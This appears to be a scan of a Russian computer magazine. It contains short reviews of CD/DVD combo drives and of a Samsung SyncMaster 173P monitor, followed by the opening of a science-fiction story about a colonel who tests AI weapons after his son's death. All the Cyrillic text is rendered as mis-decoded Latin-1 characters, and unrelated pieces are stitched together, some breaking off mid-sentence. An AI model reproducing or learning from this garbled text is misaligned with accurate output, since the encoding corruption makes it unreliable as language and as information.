SONY ïîêàçàë âûñîêèé óðîâåíü çàïèñè, îäíàêî ÷òåíèå CD-
ROM è CD-R îñòàâëÿåò æåëàòü ëó÷øåãî. Òåì íå ìåíåå, ñ êà÷å-
ñòâåííûìè äèñêàìè ïðîáëåì íå âîçíèêíåò.

Ðàçìåð áóôåðà:
2 Ìá
×òåíèå:
CD/CD-R - 48Õ
CD-RW - 48Õ
DVD-ROM - 16Õ
DVD+/-R/RW - 16Õ
Çàïèñü:
CD-R - 48Õ
CD-RW - 24Õ

»

Öåíà: $49

»
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TOSHIBA COMBO DRIVE CD-RW/DVD SD-R1312

TOSHIBA - ÷òåíèå ïîöàðàïàííîãî CD-ROM TOSHIBA SD-R1312

TOSHIBA - çàïèñü CD-R

Äðàéâ TOSHIBA èìååò ñòàíäàðòíûé äèçàéí è íå î÷åíü
óäîáíóþ êíîïêó âûáðîñà ëîòêà. Ëîòîê äâèãàåòñÿ î÷åíü

ãðîìêî è èçäàåò ïðîòèâíûå çâóêè. Â ðàáîòå ïðèâîä äîâîëüíî
ãðîìêèé, íî ïîñòîðîííèõ øóìîâ íå èçäàåò.

Óñòðîéñòâî ïîêàçàëî ñðåäíèé óðîâåíü ïðè ÷òåíèè
ðàçëè÷íûõ äèñêîâ. Ñêîðîñòü æå è êà÷åñòâî çàïèñè íå íà
âûñîòå.

Ðàçìåð áóôåðà:
8 Ìá
×òåíèå:
CD/CD-R - 40Õ
CD-RW - 40Õ
DVD-ROM - 12Õ
DVD+/-R/RW - 12Õ
Çàïèñü:
CD-R - 32Õ
CD-RW - 10Õ

»

Öåíà: $48

TEAC COMBO DRIVE CD-RW/DVD DW-548D

TEAC - ÷òåíèå ïîöàðàïàííîãî CD-ROM TEAC DW-548D

TEAC - çàïèñü CD-R

Óñòðîéñòâî TEAC âûïîëíåíî â ñòàíäàðòíîì äèçàéíå,
èìååò íå î÷åíü óäîáíóþ êíîïêó âûáðîñà ëîòêà. Ëîòîê

âûäâèãàåòñÿ òèõî. Â ðàáîòå óñòðîéñòâî èìååò ïðèåìëåìûé
óðîâåíü øóìà, îäíàêî èçäàåò íåïðèÿòíûé ñêðèï ïðè
ïîçèöèîíèðîâàíèè ãîëîâîê.

Ýòîò ïðèâîä äîâîëüíî ñêîðîñòíîé, îäíàêî âûñîêèå
ñêîðîñòíûå ïîêàçàòåëè ìåøàþò åìó êà÷åñòâåííî ÷èòàòü è
çàïèñûâàòü äèñêè.

Ðàçìåð áóôåðà:
2 Ìá
×òåíèå:
CD/CD-R - 48Õ
CD-RW - 48Õ
DVD-ROM - 16Õ
DVD+/-R/RW - 16Õ
Çàïèñü:
CD-R - 48Õ
CD-RW - 24Õ

»

Öåíà: $54

GIGABYTE DVD+/-R/RW COMBO DRIVE GO-W0404A

GIGABYTE - ÷òåíèå ïîöàðàïàííîãî CD-ROM GIGABYTE GO-W0404A

GIGABYTE - çàïèñü CD-R

GIGABYTE DVD+/-R/RW Combo Drive GO-W0404A íå
òîëüêî ÷èòàåò DVD, íî è çàïèñûâàåò èõ, ïîýòîìó ìû

ïîñòàâèëè ýòî óñòðîéñòâî âíå êîíêóðñà. ×òîáû òû ìîã ïîñìîò-
ðåòü, êàêèå åùå äðàéâû áûâàþò!

Ïðèâîä GIGABITE èìååò ñòàíäàðòíûé äèçàéí è óäîáíóþ øè-
ðîêóþ êíîïêó âûáðîñà ëîòêà. Ëîòîê äâèãàåòñÿ òèõî. Â ðàáîòå
äåâàéñ - òèõèé, íå èçäàåò ïîñòîðîííèõ çâóêîâ.

Ïîêàçàë íàèáîëåå ñòàáèëüíûå ðåçóëüòàòû ïðè ÷òåíèè è çà-
ïèñè. Çàïèñü CD+RW îñóùåñòâëÿåò íà ïîñòîÿííîé ìàêñèìàëü-
íîé ñêîðîñòè 2Õ è ñïðàâëÿåòñÿ ñ äèñêîì åìêîñòüþ 4,7 Ãá çà
25-30 ìèíóò. Êà÷åñòâî DVD+RW äîâîëüíî âûñîêîå - âñå ïðè-
âîäû èç îáçîðà ïðî÷ëè äèñê áåç ïðîáëåì.

Ðàçìåð áóôåðà:
2 Ìá
×òåíèå:
CD/CD-R - 40Õ
CD-RW - 32Õ
DVD-ROM - 12Õ
DVD+/-R/RW - 6Õ
Çàïèñü:
CD-R - 40Õ
CD-RW - 24Õ
DVD+/-R - 4Õ 
DVD+/-RW - 2Õ 

»

Âíå
êîíêóðñà
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ëÿäÿ íà ýòîò ìîíèòîð,
âñïîìèíàåøü ëåãåíäàð-
íóþ ìîäåëü Samsung
SyncMaster 171P, äèçàéí
êîòîðîé äåëàëà ñòóäèÿ

Porsche. Äåéñòâèòåëüíî, Samsung
SyncMaster 173P èìååò âîçìîæíîñòü ïî-
âîðîòà ýêðàíà â ïîðòðåòíûé ðåæèì èëè
âîîáùå ââåðõ íîãàìè. Òàêæå èìååòñÿ
óäîáíîå êîëüöî â íîæêå, êîòîðîå ïîçâî-
ëÿåò áåç óñèëèé ïîâîðà÷èâàòü äèñïëåé
âëåâî/âïðàâî íà ñòîëå. Ìîæíî ðåãóëè-
ðîâàòü âûñîòó â íåçíà÷èòåëüíûõ ïðåäå-
ëàõ. Îäíàêî ýêðàí íîâîãî ìîíèòîðà ìîæ-
íî ðàñïîëîæèòü è ãîðèçîíòàëüíî. Îí
íàìíîãî êîìïàêòíåå ïðåäøåñòâåííèêà, è
èç íåãî íå òîð÷àò õâîñòû ïðîâîäîâ.
Î÷åíü ïðèÿòíî ñòðåìëåíèå ðàçðàáîò÷è-
êîâ óìåíüøèòü òîëùèíó ðàìêè êîðïóñà,
â êîòîðóþ çàêëþ÷åí ýêðàí. Ïðàâèëüíî!
Çà÷åì íàì ðàìêà? Äàåøü ÷èñòóþ ìàòðè-
öó áåç ðàìîê! Samsung SyncMaster 173P
íå èìååò âñòðîåííûõ êîëîíîê. Äåéñòâè-
òåëüíî, ñèñòåìó 5.1 â ìîíèòîð íå âñòðî-
èøü, à íà ìåíüøåå ìû óæå íå ñîãëàñíû!

Â íîæêå èìåþòñÿ òðè ðàçúåìà: DVI, D-
SUB è ïèòàíèÿ. Ìû, ðàçóìååòñÿ, ðåêî-
ìåíäóåì èñïîëüçîâàòü öèôðîâîé âõîä
(DVI). Õîòÿ àíàëîãîâûé (D-SUB) ñèãíàë
Samsung SyncMaster 173P ïîíèìàåò
íåïëîõî. Ãëàâíîå, ÷òîáû àíàëîãîâûé
ñèãíàë øåë â îïòèìàëüíîì äëÿ ìàòðè-
öû ðàçðåøåíèè (1280Õ1024) ñ íîðìàëü-
íîãî âèäåîàäàïòåðà. Íå ñåêðåò, ÷òî ñòà-
ðûå âèäåîêàðòû âûäàþò ìûëî. Òàê ÷òî
ïðè ïîêóïêå LCD-ìîíèòîðà òåáå ïðèäåò-
ñÿ èñïîëüçîâàòü ñîâðåìåííóþ âèäåî-
êàðòî÷êó. Àäàïòåð ïèòàíèÿ âíåøíèé.

Èíòåðåñíàÿ ôèøêà ýòîãî ìîíèòîðà -
ïîëíîå îòñóòñòâèå ìåíþøêè! Åäèí-
ñòâåííàÿ êíîïêà íà êîðïóñå - "âêëþ÷å-
íèå ïèòàíèÿ", è òà ñåíñîðíàÿ. Êñòàòè ðÿ-
äîì ñ ýòîé êíîïêîé ãîðèò ìîäíûé óëüò-
ðàôèîëåòîâûé ñâåòîäèîä. Âèðòóàëüíîå
ìåíþ óïðàâëåíèÿ ìîíèòîðîì ñòàâèòñÿ
âìåñòè ñ äðîâàìè. Óïðàâëåíèå ñäåëàíî
íà íåñêîëüêèõ ÿçûêàõ â âèäå HTML-
ôàéëîâ äëÿ Internet Explorer. Âûçûâà-
åòñÿ îíî èç âûïàäàþùåãî ìåíþ ïîä
ïðàâîé êíîïêîé ìûøè. Òóò æå æèâåò
ñîôò äëÿ öâåòîâîé êàëèáðîâêè è äëÿ
ïåðåâîðîòà èçîáðàæåíèÿ íà ýêðàíå.

×òîáû óïðàâëÿòü ìîíüêîé ÷åðåç êîìïü-
þòåð, íå íóæíî íèêàêèõ äîïîëíèòåëü-

íûõ ïðîâîäîâ, òèïà USB èëè RS-232. Âè-
äàòü, õèòðûå èíæåíåðû èç Samsung ïîä-
ìåøàëè óïðàâëÿþùèå êîìàíäû â âèäå-
îñèãíàë, à ìîíèòîð èõ îòëàâëèâàåò. Îä-
íàêî ïðè ïîâîðîòå ìîíèòîðà â ïîðòðåò-
íûé ðåæèì àâòîìàòè÷åñêîãî ïîâîðîòà
èçîáðàæåíèÿ íå ïðîèñõîäèò, ýòî ëó÷øå
äåëàòü ãîðÿ÷èìè êëàâèøàìè èëè ÷åðåç
ìåíþ. Åñòü åùå íàä ÷åì ïîðàáîòàòü! Ïî
ïðàâîé êíîïêå ìûøè ìîæíî áûñòðî
íàñòðîèòü ðåæèìû îïòèìèçàöèè èçîáðà-
æåíèÿ Magic Bright. Íàïðèìåð, åñëè òû
ñìîòðèøü DVD-ôèëüì, òî òàêîé ðåæèì
ñäåëàåò èçîáðàæåíèå áîëåå ÿðêèì è íà-
ñûùåííûì. À âîò ïðè ðàáîòå ñ òåêñòîì
òåáå ëó÷øå åãî îòêëþ÷èòü. Samsung
SyncMaster 173P ïðåâîñõîäíî íàñòðàè-
âàåòñÿ ñàì, ìåíþ â áîëüøèíñòâå ñëó÷à-
åâ íå òðåáóåòñÿ. Íî íàì êàæåòñÿ, ÷òî
êíîïêè íà ñàìîì ìîíèòîðå î÷åíü óäîá-
íû, è ñîôòîâàÿ ìåíþøêà íå äàåò ïðàâà
óáèðàòü èõ. Ïî÷åìó áû êíîïî÷íîìó ìå-
íþ íå ñîñóùåñòâîâàòü ñ ñîôòâàðíûì?

Íó è, êîíå÷íî, Samsung SyncMaster
173P íå ñìîã èçáåæàòü íàøåãî çëîá-
íîãî òåñòèðîâàíèÿ êîëîðèìåòðîì è
ñïëèòòåðîì. Ìû ïîëó÷èëè ïðèåìëå-
ìóþ öâåòîïåðåäà÷ó, òóò CRT-ìîíèòî-
ðû òðàäèöèîííî îáãîíÿþò LCD. Ðåæè-
ìû Magic Bright, êàê èì è ïîëîæåíî,
èñêàæàþò öâåòîïåðåäà÷ó, ÷òîáû ñäå-
ëàòü èçîáðàæåíèå ñî÷íåå.

Ñðàâíèâàëè èãðó Unreal Tournament
2003 ñ CRT-ìîíèòîðîì ÷åðåç âèäåî-
ðàçâåòâèòåëü (ñïëèòòåð). Èçîáðàæå-

íèå Samsung SyncMaster 173P çíà÷è-
òåëüíî ÿð÷å è êîíòðàñòíåå, ïîýòîìó
èãðàòü çà íèì âåñåëåå. Âîçíèê ñòàðûé
ñïîð î çàäåðæêàõ ìàòðèöû. Îíè ïðàê-
òè÷åñêè íåçàìåòíû â ñîâðåìåííûõ
LCD-ìîíèòîðàõ ñðåäíåãî öåíîâîãî äè-
àïàçîíà. Òåñòîâàÿ ëàáîðàòîðèÿ ÷óòü
íå ïåðåäðàëàñü â ïîèñêàõ ïðåñëîâó-
òîé çàäåðæêè. Âñå äåëî â òîì, ÷òî
òåêñòóðû, êîòîðûå ðàññûïàëèñü íà
ÆÊ-ìîíèòîðå, ðàññûïàëèñü è íà ÝËÒ.
Íî îäèí óìíûé è õðàáðûé òåñòåð íà-
øåë-òàêè ê ÷åìó ïðèäðàòüñÿ. Îí ââåë
â àíðèàë êîäû, ÷òîáû âçëåòåòü âûñî-
êî-âûñîêî. È ñ îãðîìíîé âûñîòû åëå
çàìåòíûå áîòû ñòàëè ÷óòü-÷óòü áîëü-
øå ñìûëèâàòüñÿ, ÷åì íà CRT-ìîíèòî-
ðå. Ñëîâîì, èãðàòü íà Samsung
SyncMaster 173P ìîæíî áåç ïðîáëåì!

ÂÛÂÎÄ
Samsung SyncMaster 173P ïîäîéäåò

äëÿ ïîëüçîâàòåëåé, òðåáîâàòåëüíûõ ê
äèçàéíó, êîìïàêòíîñòè è ôóíêöèîíàëü-
íîñòè. Çà íèì ìîæíî ðàáîòàòü, èãðàòü,
ñìîòðåòü âèäåî, ñåðôèòü èíåò. Äëÿ
ýòîãî èìåþòñÿ ïðåäóñòàíîâëåííûå ðå-
æèìû îïòèìèçàöèè èçîáðàæåíèÿ. Íó è,
ñàìî ñîáîé, ìîæíî ïîâåðíóòü ýêðàí â
ïîðòðåòíûé ðåæèì, òîãäà íà íåì öåëè-
êîì ïîìåñòèòñÿ ëèñò À4 ñ òåêñòîì èëè
ãîëàÿ äåâèöà â ïîëíûé ðîñò!         A
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à îêíîì ìîðîñèë ìåëêèé äîæ-
äèê, íàñòîëüêî ìåëêèé, ÷òî êà-
çàëñÿ ïðîñòî âîäÿíîé ïûëüþ.
Ïîëêîâíèêó òàê è õîòåëîñü ïðè-
æàòüñÿ ëáîì ê õîëîäíîìó ñòåê-
ëó, ÷òîáû øåñòûì ÷óâñòâîì
îùóòèòü ýòó ìåðçêóþ âçâåñü
áðûçã ñêâîçü ïðîçðà÷íóþ ïðå-
ãðàäó. Â íåì áîðîëèñü äâà æå-
ëàíèÿ - âûéòè ïîä äîæäü è íà-
ñêâîçü ïðîïèòàòüñÿ ìåëêèìè

êàïåëüêàìè èëè îñòàòüñÿ äîìà - íàâñåãäà. Íèêîãäà íå âûñîâûâàòü
íîñà çà äâåðü. Â ãðóäè êîëüíóëî. ×óòü-÷óòü, ñàìóþ ìàëîñòü. Ïîë-
êîâíèê íåçàìåòíî äëÿ àäúþòàíòà ñêðèïíóë çóáàìè. Ñòàðîñòü íà÷è-
íàåòñÿ òîãäà, êîãäà òû âäðóã çàìå÷àåøü, ÷òî ó òåáÿ åñòü ñåðäöå�
Ñîðîê ÷åòûðå ãîäà - ìàëîâàòî äëÿ ñòàðîñòè. Õîòÿ, êòî çíàåò - ìî-
æåò áûòü, â ñàìûé ðàç.

Ôîòîãðàôèÿ. Â êíèæíîì øêàôó çà ñòåêëîì. Ìîëîäîé ïàðåíü â
ëåòíîé ôîðìå ñ êàïèòàíñêèìè ïîãîíàìè. Òàì, íà ôîòîãðàôèè, âñå
åùå æèâû� È íèêòî íå âèíîâàò. "Ïîíèìàåòå, èñêóññòâåííûé èí-
òåëëåêò�" Íå ðàñïîçíàë. Îøèáñÿ. Ñ êåì íå áûâàåò.

Ðÿäîì ñ ôîòîãðàôèåé - äâå ìåäàëè. Ïðè÷åì îäíó èç íèõ Êóçíå-
öîâ âûíóæäåí áûë âñåãäà ïðÿòàòü, åñëè ïðèõîäèëè íåæäàííûå è
íåïîñâÿùåííûå ãîñòè. Íåëüçÿ áûëî. Íà ìåäàëè - íàçâàíèå ãîðîäà,
â êîòîðîì îôèöèàëüíî ðóññêèõ íå áûëî íèêîãäà. "Íàä âñåé Èñïà-
íèåé áåçîáëà÷íîå íåáî".

Ïîëêîâíèê ïðèêîñíóëñÿ êîí÷èêàìè ïàëüöåâ ê ñòåêëó. Íà óëèöå
äåéñòâèòåëüíî áûëî ïðîõëàäíî, îñåííèé âåòåð âîðîøèë ëèñòâó;
êîðî÷å, "Áîëäèíñêàÿ îñåíü". Ïóøêèí â òàêóþ ïîãîäó, íàâåðíîå, ïè-
ñàë ÷òî-íèáóäü î÷åíü è î÷åíü ïåññèìèñòè÷íîå - à âîò ïîëêîâíèêó
Êóçíåöîâó íàäî áûëî ñîñðåäîòî÷èòüñÿ è âûçâàòü â ñîçíàíèè ñâåò-
ëûå è ïðåêðàñíûå ìûñëè, ÷òî-íèáóäü î öâåòàõ è áàáî÷êàõ.

Çà ñïèíîé ðàçäàëñÿ øîðîõ - àäúþòàíò, óñòàâ æäàòü, íà÷àë åðçàòü
íà òàáóðåòêå ó äâåðè. Êóçíåöîâ íåìíîãî ïîâåðíóë ãîëîâó â ñòîðî-
íó - øîðîõ ïðåêðàòèëñÿ; ïðàïîðùèê ïî÷óâñòâîâàë íåäîâîëüñòâî
íà÷àëüíèêà, íàïðÿãñÿ, äàæå äûøàòü ñòàë òèøå. Óõîäèòü íå õîòå-
ëîñü - è íå ïîòîìó, ÷òî íàä Êóçíåöîâûì äîâëåëî êàêîå-òî ïðåä÷óâ-
ñòâèå, íåò. Ñ íèì ïðîñòî ñëó÷èëàñü ìåòàìîðôîçà íà óðîâíå ìåíòà-
ëèòåòà - åìó íàäîåëà âîéíà. Îíà òàê äîëãî ïðîäîëæàëàñü, ÷òî äà-
æå ñîëäàòû, ïîäîáíûå Êóçíåöîâó, óñòàëè îò íåå...

- Ïîðà, ãîñïîäèí ïîëêîâíèê, - îïàñàÿñü ãíåâà íà÷àëüñòâà, òèõî
ïðîãîâîðèë àäúþòàíò. - Ìàøèíà ïðîãðåòà. Çîíò íå çàáóäüòå...

- Íå çàáóäó, - áóðêíóë Êóçíåöîâ. - Ãäå ôëÿæêà?
- ß... - çàñóåòèëñÿ íà òàáóðåòêå ïðàïîðùèê. - Âàì íåëüçÿ, ãîñïî-

äèí... ïîëêîâíèê... Âðà÷... Âû æå...
- Äà, - êîðîòêî îòðåçàë Êóçíåöîâ. - Ãäå ôëÿæêà?
Àäúþòàíò íå ñòàë ñîïðîòèâëÿòüñÿ äàëüøå. Îòêóäà-òî èç ãëóáèí

êèòåëÿ íà ñâåò áûëà èçâëå÷åíà ñåðåáðèñòàÿ ñâåðêàþùàÿ ïîñóäè-
íà, íå èçäàâøàÿ íè åäèíîãî âñïëåñêà, òàê êàê áûëà íàïîëíåíà ïîä
çàâÿçêó. Ïîëêîâíèê ïðîòÿíóë ðóêó, ïðèâû÷íûì äâèæåíèåì îòâèí-
òèë êðàñèâóþ ðåáðèñòóþ êðûøå÷êó, ïîäíåñ ôëÿæêó ê ãóáàì. Ïî
âñåìó òåëó ðàçëèëîñü òåïëî, óäàðû ñåðäöà ñòàëè ðîâíåå - íàñû-
ùåííåå, ÷òî ëè.

Êóçíåöîâ âûøåë íà óëèöó ñëåäîì çà ïðàïîðùèêîì. "Ëåíäðîâåð"
óð÷àë ó ïîäúåçäà, ðàäóÿ ãëàç ïîëêîâíèêà âûïðàâëåííûì ïðàâûì
êðûëîì (ïîñëå òîãî, êàê â Äåíü Ïîáåäû Êóçíåöîâ ðåøèë âñïîì-
íèòü, ÷òî æå ýòî òàêîå - äåðæàòü â ðóêàõ ÍÀÑÒÎßÙÈÉ ðóëü - ìàøè-
íà ïî÷òè äâå íåäåëè ïðîñòîÿëà â ðåìîíòå. Ïîëêîâíèê ïåðåâåðíóë-
ñÿ äâàæäû, òàê è íå ïîíÿâ, ÷òî æå ñëó÷èëîñü ñ íåîæèäàííî ñòàâøåé
óïðÿìîé ìàøèíîé). Âîäèòåëü, óâèäåâ êîìàíäèðà, ïîäîáðàëñÿ,
ïðèãëóøèë ðàäèî, ìàøèíàëüíî ïîïðàâèë ñèäåíüå ðÿäîì ñ ñîáîé.

Ïîëêîâíèê îòêðûë äâåðöó, îãëÿíóëñÿ íà äîì, ïîäíÿâ âçãëÿä ê òî-
ìó îêíó, èç êîòîðîãî îí ïàðó ìèíóò íàçàä ñìîòðåë íà óëèöó. Ñòåê-
ëà áëåñòåëè, îìûòûå äîæäåâîé ïûëüþ; ñêâîçü ýòîò âîäÿíîé áëåñê
íè÷åãî íå áûëî âèäíî. Ó ïîëêîâíèêà íåïðîèçâîëüíî äåðíóëàñü ùå-
êà, îí âäðóã ïîíÿë, ÷òî ñåðæàíò çà ðóëåì è ïðàïîðùèê, âöåïèâøèé-
ñÿ ìåðòâîé õâàòêîé â îãðîìíûé ÷åðíûé çîíò, íå ñâîäÿò ñ íåãî ãëàç
è çàìå÷àþò êàæäîå åãî äâèæåíèå, ÷óâñòâóþò êàæäûé âäîõ. Òàê ïî-
ëó÷èëîñü, ÷òî îíè íå çíàëè, êàêîå "ðàçâëå÷åíèå" ïðåäñòîèò ïîëêîâ-
íèêó ñåãîäíÿ - íî îáà ïîíèìàëè, ÷òî íåñïðîñòà ó Êóçíåöîâà õîäÿò
æåëâàêè íà ñêóëàõ è âðåìÿ îò âðåìåíè ñæèìàþòñÿ êóëàêè.

Êèíóâ ïîñëåäíèé âçãëÿä íà ñâîå îêíî, ãäå çà øòîðîé - îí òî÷íî
çíàë - ñòîÿëà æåíà, êîòîðàÿ ïîñëå ãèáåëè ñûíà íå âûõîäèëà åãî
ïðîâîæàòü, Êóçíåöîâ ïîñòàâèë íîãó íà ïîäíîæêó. Ïðàïîðùèê ñî

ùåë÷êîì ñëîæèë çîíòèê, çàïðûãíóë íà çàäíåå ñèäåíüå. Õëîïíóëà
äâåðöà. Ïîëêîâíèê ïîëîæèë ëàäîíè íà ïîðó÷åíü íà ïðèáîðíîé ïà-
íåëè, êîðîòêî êèâíóë. Ñåðæàíò îòâåòèë åìó òåì æå, âêëþ÷èë ïåðå-
äà÷ó; "äâîðíèêè" ñìàõíóëè î÷åðåäíóþ ïîðöèþ ïîëóäîæäÿ-ïîëóòó-
ìàíà ñ ëîáîâîãî ñòåêëà.

Íàâåðõó, â îêíå, êîëûõíóëàñü òÿæåëàÿ øòîðà, ïðîâîæàÿ îòúåçæà-
þùèé àâòîìîáèëü�

* * * * *
Åãî íèêòî íå òîðîïèë. Íå ïðèíÿòî áûëî ïîäãîíÿòü òîãî, êòî øåë

íà ïîëèãîí. Íåñìîòðÿ íà òî, ÷òî ñðîêè èñïûòàíèÿ áûëè äîâîëüíî
æåñòêèìè, ïðèêàçàòü ïîëêîâíèêó íå ìîã íèêòî. Ïðè æåëàíèè îí
èìåë ïðàâî îòêàçàòüñÿ, ïåðåíåñòè íà ÷àñ, íà äåíü, íà íåäåëþ. Ñî-
ñëàòüñÿ íà çäîðîâüå, íà íåðâû, íà ïîãîäó. È îí óæå äâàæäû âîñ-
ïîëüçîâàëñÿ ñâîèì ïðàâîì. Îäèí ðàç ýòî ñëó÷èëîñü â òîò äåíü,
êîãäà åãî ñòàðøàÿ äî÷ü äîëæíà áûëà ðîæàòü; îí âñþ íåäåëþ áûë
íà âçâîäå, îòðûâàëñÿ íà ïîä÷èíåííûõ, òðåáîâàë ó äîêòîðà òðàíê-
âèëèçàòîðû - è â èòîãå îòêàçàëñÿ îò âûõîäà íà ïîëèãîí, ãäå â òîò
ðàç îïðîáîâàëàñü íîâàÿ òåõíèêà.

Ñïóñòÿ ñåìü äíåé, êîãäà âñå óæå ñëó÷èëîñü è íà ñâåò ïîÿâèëñÿ
ïðåêðàñíûé êðåïûø, äî÷ü áûëà çäîðîâà è ñ÷àñòëèâà - îí ñàì íà-
çíà÷èë âðåìÿ èñïûòàíèÿ, è ïîñëå òîãî, êàê ñåòêè ïðèöåëîâ ñïðîå-
öèðîâàëèñü íà ñåò÷àòêó, Êóçíåöîâ âûïîëíèë íåñêîëüêî óïðàæíåíèé
íà "îòëè÷íî", à â äîïîëíåíèå êî âñåìó íàøåë äâà ñåðüåçíûõ íåäî-
÷åòà â èñêóññòâåííîì èíòåëëåêòå ðàêåòíîé óñòàíîâêè, à èìåííî â
òîì åãî çâåíå, êîòîðîå îáðàáàòûâàëî òèïû ñàìîëåòîâ, çàõîäÿùèõ
íà áîìáîìåòàíèå.

Âî âòîðîé ðàç (ïðèìåðíî ãîä íàçàä) âñå áûëî ãîðàçäî õóæå. Ïî-
ãèá Âèòàëèé. Åäèíñòâåííûé ñûí, ïîøåäøèé ïî ñòîïàì îòöà. Ïîãèá

â áîþ. Åãî èñòðåáèòåëü áûë ñáèò. Òî, ÷òî ëåæàëî â "öèíêå", âðÿä
ëè èìåëî îòíîøåíèå ê îñòàíêàì ìàëü÷èêà. Êóñêè ïðèáîðíûõ ïàíå-
ëåé, ðàñêîëîòûé øëåì äà íåñêîëüêî îáðûâêîâ âûñîòíîãî êîñòþìà.
Âñå, ÷òî îñòàëîñü îò ñûíà. È Êóçíåöîâ ïåðåäàë ïðàâî óïðàâëåíèÿ
íîâîé ìîäåëüþ áðîíåòðàíñïîðòåðà ñâîåìó äóáëåðó.

Îí, êîíå÷íî, ïðèñóòñòâîâàë íà èñïûòàíèè. Ñèäåë â áóíêåðå,
ñìîòðåë íà ïðîèñõîäÿùåå ÷åðåç ãëàçà âèäåîêàìåð, êóñàë ãóáû è
âåðòåë â ðóêàõ æåòîí Âèòàëèÿ, óöåëåâøèé â áóðå, ïîãëîòèâøåé ñà-
ìîëåò. Êóçíåöîâ çíàë, ÷òî ñìîã áû âûïîëíèòü âñå çàäàíèÿ, äàííûå
äóáëåðó äëÿ ïðîõîæäåíèÿ ïðåïÿòñòâèé, íî áëàãîðàçóìíî ðåøèë îò-
êëîíèòü íåïîñðåäñòâåííîå ó÷àñòèå â èñïûòàíèè. Çíàÿ ñåáÿ, îí
î÷åíü áîÿëñÿ çàïîëó÷èòü â ðóêè îðóæèå.

Êîíå÷íî æå, âñå ïðîøëî. Ãîðå÷ü óòðàòû óëåãëàñü; äóøåâíàÿ äðà-
ìà ñïðÿòàëàñü ãäå-òî íà äíå ñîçíàíèÿ. Ïîëêîâíèê ðåãóëÿðíî èñïû-
òûâàë íîâûå âèäû èíòåëëåêòóàëüíîãî âîîðóæåíèÿ - òàíêè, ðàêåò-
íûå è çåíèòíûå óñòàíîâêè, ñíàðÿæåíèå êèáåðñîëäàòà, ìíîæåñòâî
êîìïüþòåðíûõ äîïîëíåíèé ê îáìóíäèðîâàíèþ, äåëàâøèõ ÷åëîâåêà
â ôîðìå âñå áîëåå è áîëåå íåóÿçâèìûì. Òîëüêî èíîãäà îí áðîñàë
êîðîòêèé âçãëÿä â çåðêàëî, ãëÿäÿ íà âèñÿùèé íà öåïî÷êå íà øåå
æåòîí ñûíà.

Âîò è ñåãîäíÿ - â î÷åðåäíîé ðàç îòîãíàâ ïîïûòàâøèåñÿ âñòàòü
íà äûáû ìûñëè î æåíå è ïîãèáøåì ñûíå, Êóçíåöîâ îòìåòèëñÿ
îòïå÷àòêîì ëàäîíè íà ôîòîðåöåïòîðå ñåêðåòíîé ñëóæáû. Äâåðü
áåñøóìíî îòêðûëàñü, ëèôò îïóñòèë åãî íà íåñêîëüêî äåñÿòêîâ
ìåòðîâ ïîä çåìëþ è îñòàíîâèëñÿ íà ñëóæåáíîì ÿðóñå íîìåð ÷å-
òûðå. Ìàññèâíàÿ äâåðü ìåäîòñåêà ïðèâåòëèâî (íåñìîòðÿ íà îã-
ðîìíûé âåñ) ðàñïàõíóëàñü, âïóñòèâ Êóçíåöîâà âíóòðü. Äîê ìàõ-
íóë åìó ðóêîé, íå îòðûâàÿñü îò ñâîèõ ïðîáèðîê, êàðäèîãðàìì è
äðóãîé ÷åïóõè. Ïîëêîâíèê îïóñòèëñÿ â êðåñëî, ñòàâøåå çà ãîäû
ðàáîòû çäåñü ïðèâû÷íûì. Âïåðâûå îïóñòèëñÿ â íåãî, íå ðàçäåâ-
øèñü äî ïîÿñà.

Óñòàëûé âçãëÿä ñêîëüçíóë ïî ýêðàíàì ìîíèòîðîâ, ïî ñâÿçêàì
ïðîâîäîâ; íåñêîëüêî ìèêðîñêîïîâ, ñòîÿùèõ â ðÿä, áîëüøèå øêàôû
ñî ñòåêëÿííûìè ñòåíêàìè, óêðàøåííûå íàäïèñÿìè "ÑÒÅÐÈËÜÍÎ",
"ÍÀÐÓÆÍÎÅ", "ÍÅÎÒËÎÆÍÀß ÏÎÌÎÙÜ". Êóçíåöîâ çà÷åì-òî ïðè-
ñëóøàëñÿ ê óñïîêîèâøåìóñÿ ñåðäöó, íå ïî÷óâñòâîâàë íèêàêèõ ïå-»
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- Ïîðà, ãîñïîäèí ïîëêîâíèê, -
îïàñàÿñü ãíåâà íà÷àëüñòâà, òèõî
ïðîãîâîðèë àäúþòàíò. - Ìàøèíà

ïðîãðåòà. Çîíò íå çàáóäüòå...



ðåáîåâ è ïîäíÿë ãëàçà íà âðà÷à. Òîò ñòîÿë â íåäîóìåíèè è ñìîòðåë
íà íåãî ñòðîãèì âçãëÿäîì.

- Íå ñåðäèñü, Ìèõàëû÷, - ìàõíóë ðóêîé Êóçíåöîâ. - Ïðîñòî äàé
"äîáðî"� Òû æå çíàåøü, êàêàÿ ðàáîòà ïðåäñòîèò ìíå ñåãîäíÿ.

Äîê (îí æå ìàéîð Íèêèòà Âîëîùóê) ïðîäîëæàë ìîë÷à ñìîòðåòü
íà ïîëêîâíèêà. Ñïóñòÿ ïàðó ñåêóíä îòâåë ãëàçà, ñäåëàë íåñêîëüêî
øàãîâ ê øêàôó ñ ëåêàðñòâàìè, çà÷åì-òî ïåðåëîæèë êîðîáî÷êè íà
ïîëêàõ, ïîòîì âåðíóë âñå â ïåðâîíà÷àëüíîå ñîñòîÿíèå. Ïîðûëñÿ â
êàðìàíàõ õàëàòà, îòêàøëÿëñÿ, ïîâåðòåë â ðóêàõ çàæèãàëêó; ïàðó ðàç
áðîñèë íà Êóçíåöîâà âçãëÿä ÷åðåç ïëå÷î - òî ëè âèíîâàòûé, òî ëè
çàäóì÷èâûé. Ïîëêîâíèê ñëåäèë çà êàæäûì åãî äâèæåíèåì, ïîñòó-
êèâàÿ ïàëüöàìè ïî ïîäëîêîòíèêàì.

- À åñëè� - ñïðîñèë, íå îáîðà÷èâàÿñü, äîê.
- Íåò, - îòâåòèë Êóçíåöîâ. - Áåçî âñÿêèõ "åñëè". Ó ìåíÿ âñå ïî-

ëó÷èòñÿ. Ýòó øòóêó çàïóñòÿò â ñåðèþ. È íàøè ïàðíè ñìîãóò äîñòîé-
íî îòîìñòèòü çà ìîåãî Âèòàëüêó.

- Òîãäà ïî÷åìó Âû îòêàçûâàåòåñü îò êîíòðîëÿ? - ïîâåðíóëñÿ âðà÷
ê ïîëêîâíèêó. - Âåäü íèêàêèõ "åñëè" íåò.

Êóçíåöîâ íà ñåêóíäó çàäóìàëñÿ, âñïîìíèâ òó ìàëåíüêóþ èãîëî÷-
êó, ÷òî âïåðâûå çà âñþ æèçíü êîëüíóëà â ñåðäöå ÷àñ íàçàä. Äåéñò-
